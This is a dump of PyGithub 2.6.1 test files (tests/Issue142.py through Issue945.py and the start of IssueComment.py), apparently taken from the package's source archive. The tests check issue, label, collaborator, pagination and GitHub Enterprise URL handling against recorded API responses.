self.assertEqual( len(self.repo.get_contents("js", "8c7f9c66a7d12f47f50618ef420868fe836d0c33")), 15, ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue142.py0000644000175100001660000000545514756101563016032 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework class Issue142(Framework.TestCase): def testDecodeJson(self): self.assertEqual(github.Github().get_rate_limit().core.limit, 60) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue174.py0000644000175100001660000000564714756101563016042 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 AetherDeity # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue174(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("twbs/bootstrap") def testGetDirContentsWithHttpRedirect(self): contents = self.repo.get_contents("js/") self.assertEqual(len(contents), 5) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue2030.py0000644000175100001660000000424414756101563016103 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2021 karthik-kadajji <60779081+karthik-kadajji@users.noreply.github.com># # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Organization(Framework.TestCase): def testIssue2030CreateProject(self): super().setUp() project = "ultratendency" self.user = self.g.get_user("karthik-kadajji-t") self.org = self.g.get_organization("testkarthik") self.org.create_project(project) project = self.org.get_projects()[0].name self.assertEqual("ultratendency", project) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue214.py0000644000175100001660000001004014756101563016014 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 David Farr # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue214(Framework.TestCase): # https://github.com/jacquev6/PyGithub/issues/214 def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") self.issue = self.repo.get_issue(1) def testAssignees(self): self.assertTrue(self.repo.has_in_assignees("farrd")) self.assertFalse(self.repo.has_in_assignees("fake")) def testCollaborators(self): self.assertTrue(self.repo.has_in_collaborators("farrd")) self.assertFalse(self.repo.has_in_collaborators("fake")) self.assertFalse(self.repo.has_in_collaborators("marcmenges")) self.repo.add_to_collaborators("marcmenges") self.assertTrue(self.repo.has_in_collaborators("marcmenges")) self.repo.remove_from_collaborators("marcmenges") self.assertFalse(self.repo.has_in_collaborators("marcmenges")) def testEditIssue(self): self.assertEqual(self.issue.assignee, None) self.issue.edit(assignee="farrd") self.assertEqual(self.issue.assignee.login, "farrd") self.issue.edit(assignee=None) self.assertEqual(self.issue.assignee, None) def testCreateIssue(self): issue = self.repo.create_issue("Issue created by PyGithub", assignee="farrd") self.assertEqual(issue.assignee.login, "farrd") def testGetIssues(self): issues = self.repo.get_issues(assignee="farrd") for issue in issues: self.assertEqual(issue.assignee.login, "farrd") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue216.py0000644000175100001660000000557414756101563016036 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework # Replay data forged by capitalizing headers from PaginatedList.setUp.txt and PaginatedList.testIteration.txt class Issue216(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user("openframeworks").get_repo("openFrameworks") self.list = self.repo.get_issues() def testIteration(self): self.assertEqual(len(list(self.list)), 333) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue278.py0000644000175100001660000000556214756101563016043 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework # Replay data forged by adding nulls to PaginatedList.setUp.txt and PaginatedList.testIteration.txt class Issue278(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user("openframeworks").get_repo("openFrameworks") self.list = self.repo.get_issues() def testIteration(self): self.assertEqual(len(list(self.list)), 333) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue33.py0000644000175100001660000000562214756101563015745 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue33(Framework.TestCase): # https://github.com/jacquev6/PyGithub/issues/33 def setUp(self): super().setUp() self.repo = self.g.get_user("openframeworks").get_repo("openFrameworks") def testOpenIssues(self): self.assertEqual(len(list(self.repo.get_issues())), 338) def testClosedIssues(self): self.assertEqual(len(list(self.repo.get_issues(state="closed"))), 950) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue494.py0000644000175100001660000000622414756101563016037 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue494(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("apache/brooklyn-server", lazy=True) self.pull = self.repo.get_pull(465) def testRepr(self): expected = ( 'PullRequest(title="Change SetHostnameCustomizer to check if ' '/etc/sysconfig/network exist…", number=465)' ) self.assertEqual(self.pull.__repr__(), expected) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue50.py0000644000175100001660000001165014756101563015742 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue50(Framework.TestCase): # https://github.com/jacquev6/PyGithub/issues/50 def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") self.issue = self.repo.get_issue(50) self.labelName = "Label with spaces and strange characters (&*#$)" def testCreateLabel(self): label = self.repo.create_label(self.labelName, "ffff00") self.assertEqual(label.name, self.labelName) def testGetLabel(self): label = self.repo.get_label(self.labelName) self.assertEqual(label.name, self.labelName) def testGetLabels(self): self.assertListKeyEqual( self.repo.get_labels(), lambda lb: lb.name, [ "Refactoring", "Public interface", "Functionalities", "Project management", "Bug", "Question", "RequestedByUser", self.labelName, ], ) def testAddLabelToIssue(self): self.issue.add_to_labels(self.repo.get_label(self.labelName)) def testRemoveLabelFromIssue(self): self.issue.remove_from_labels(self.repo.get_label(self.labelName)) def testSetIssueLabels(self): self.issue.set_labels( self.repo.get_label("Bug"), self.repo.get_label("RequestedByUser"), self.repo.get_label(self.labelName), ) def testIssueLabels(self): self.assertListKeyEqual( self.issue.labels, lambda lb: lb.name, ["Bug", self.labelName, "RequestedByUser"], ) def testIssueGetLabels(self): self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", self.labelName, "RequestedByUser"], ) def testGetIssuesWithLabel(self): self.assertListKeyEqual( self.repo.get_issues(labels=[self.repo.get_label(self.labelName)]), lambda i: i.number, [52, 50], ) def testCreateIssueWithLabel(self): issue = self.repo.create_issue( "Issue created by PyGithub to test issue #50", labels=[self.repo.get_label(self.labelName)], ) self.assertListKeyEqual(issue.labels, lambda lb: lb.name, [self.labelName]) self.assertEqual(issue.number, 52) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue54.py0000644000175100001660000000613314756101563015746 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class Issue54(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("TestRepo") def testConversion(self): commit = self.repo.get_git_commit("73f320ae06cd565cf38faca34b6a482addfc721b") self.assertEqual( commit.message, "Test commit created around Fri, 13 Jul 2012 18:43:21 GMT, that is vendredi 13 juillet 2012 20:43:21 GMT+2\n", ) self.assertEqual( commit.author.date, datetime(2012, 7, 13, 18, 47, 10, tzinfo=timezone.utc), ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue572.py0000644000175100001660000000640614756101563016036 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework class Issue572(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") def testIssueAsPullRequest(self): issue = self.repo.get_issue(2) pull = issue.as_pull_request() self.assertEqual(issue.html_url, pull.html_url) self.assertTrue(isinstance(pull, github.PullRequest.PullRequest)) def testPullReqeustAsIssue(self): pull = self.repo.get_pull(2) issue = pull.as_issue() self.assertEqual(pull.html_url, issue.html_url) self.assertTrue(isinstance(issue, github.Issue.Issue)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue80.py0000644000175100001660000000727714756101563015757 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework class Issue80(Framework.BasicTestCase): # https://github.com/jacquev6/PyGithub/issues/80 def testIgnoreHttpsFromGithubEnterprise(self): g = github.Github(auth=self.login, base_url="http://my.enterprise.com/some/prefix") # http here org = g.get_organization("BeaverSoftware") self.assertEqual(org.url, "https://my.enterprise.com/some/prefix/orgs/BeaverSoftware") # https returned self.assertListKeyEqual( org.get_repos(), lambda r: r.name, ["FatherBeaver", "TestPyGithub"] ) # But still http in second request based on org.url def testIgnoreHttpsFromGithubEnterpriseWithPort(self): g = github.Github( auth=self.login, base_url="http://my.enterprise.com:1234/some/prefix", ) # http here org = g.get_organization("BeaverSoftware") self.assertEqual(org.url, "https://my.enterprise.com:1234/some/prefix/orgs/BeaverSoftware") # https returned self.assertListKeyEqual( org.get_repos(), lambda r: r.name, ["FatherBeaver", "TestPyGithub"] ) # But still http in second request based on org.url ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue823.py0000644000175100001660000000667214756101563016042 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 AetherDeity # # Copyright 2018 sfdye # # Copyright 2019 Shibasis Patel # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue823(Framework.TestCase): def setUp(self): super().setUp() self.org = self.g.get_organization("p-society") self.team = self.org.get_team(2745783) self.pending_invitations = self.team.invitations() def testGetPendingInvitationAttributes(self): team_url = self.pending_invitations[0].invitation_teams_url self.assertEqual( team_url, "https://api.github.com/organizations/29895434/invitations/6080804/teams", ) inviter = self.pending_invitations[0].inviter.login self.assertEqual(inviter, "palash25") role = self.pending_invitations[0].role self.assertEqual(role, "direct_member") team_count = self.pending_invitations[0].team_count self.assertEqual(team_count, 1) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue87.py0000644000175100001660000000677314756101563015766 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue87(Framework.TestCase): # https://github.com/jacquev6/PyGithub/issues/87 def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") def testCreateIssueWithPercentInTitle(self): issue = self.repo.create_issue("Issue with percent % in title created by PyGithub") self.assertEqual(issue.number, 99) def testCreateIssueWithPercentInBody(self): issue = self.repo.create_issue("Issue created by PyGithub", "Percent % in body") self.assertEqual(issue.number, 98) def testCreateIssueWithEscapedPercentInTitle(self): issue = self.repo.create_issue("Issue with escaped percent %25 in title created by PyGithub") self.assertEqual(issue.number, 97) def testCreateIssueWithEscapedPercentInBody(self): issue = self.repo.create_issue("Issue created by PyGithub", "Escaped percent %25 in body") self.assertEqual(issue.number, 96) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue937.py0000644000175100001660000000604514756101563016042 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Vinay Hegde # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue937(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user() self.repo = self.user.get_repo("PyGithub") def testCollaboratorsAffiliation(self): collaborators = self.repo.get_collaborators(affiliation="direct") self.assertListKeyEqual(collaborators, lambda u: u.login, ["hegde5"]) with self.assertRaises(AssertionError): self.repo.get_collaborators(affiliation="invalid_option") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue945.py0000644000175100001660000001075314756101563016042 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 netsgnut <284779+netsgnut@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue945(Framework.TestCase): # https://github.com/PyGithub/PyGithub/issues/945 def setUp(self): super().setUp() self.repo = self.g.get_user("openframeworks").get_repo("openFrameworks") self.list = self.repo.get_issues() self.list_with_headers = self.repo.get_stargazers_with_dates() def testReservedPaginatedListAttributePreservation(self): r1 = self.list.reversed self.assertEqual(self.list._PaginatedList__contentClass, r1._PaginatedList__contentClass) self.assertEqual(self.list._PaginatedList__requester, r1._PaginatedList__requester) self.assertEqual(self.list._PaginatedList__firstUrl, r1._PaginatedList__firstUrl) self.assertEqual(self.list._PaginatedList__firstParams, r1._PaginatedList__firstParams) self.assertEqual(self.list._PaginatedList__headers, r1._PaginatedList__headers) self.assertEqual(self.list._PaginatedList__list_item, r1._PaginatedList__list_item) self.assertTrue(self.list_with_headers._PaginatedList__headers is not None) r2 = self.list_with_headers.reversed self.assertEqual( self.list_with_headers._PaginatedList__contentClass, r2._PaginatedList__contentClass, ) self.assertEqual( self.list_with_headers._PaginatedList__requester, r2._PaginatedList__requester, ) self.assertEqual(self.list_with_headers._PaginatedList__firstUrl, r2._PaginatedList__firstUrl) self.assertEqual( self.list_with_headers._PaginatedList__firstParams, r2._PaginatedList__firstParams, ) self.assertEqual(self.list_with_headers._PaginatedList__headers, r2._PaginatedList__headers) self.assertEqual( self.list_with_headers._PaginatedList__list_item, r2._PaginatedList__list_item, ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/IssueComment.py0000644000175100001660000001546414756101563017127 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Malik Shahzad Muzaffar # # Copyright 2024 Arash 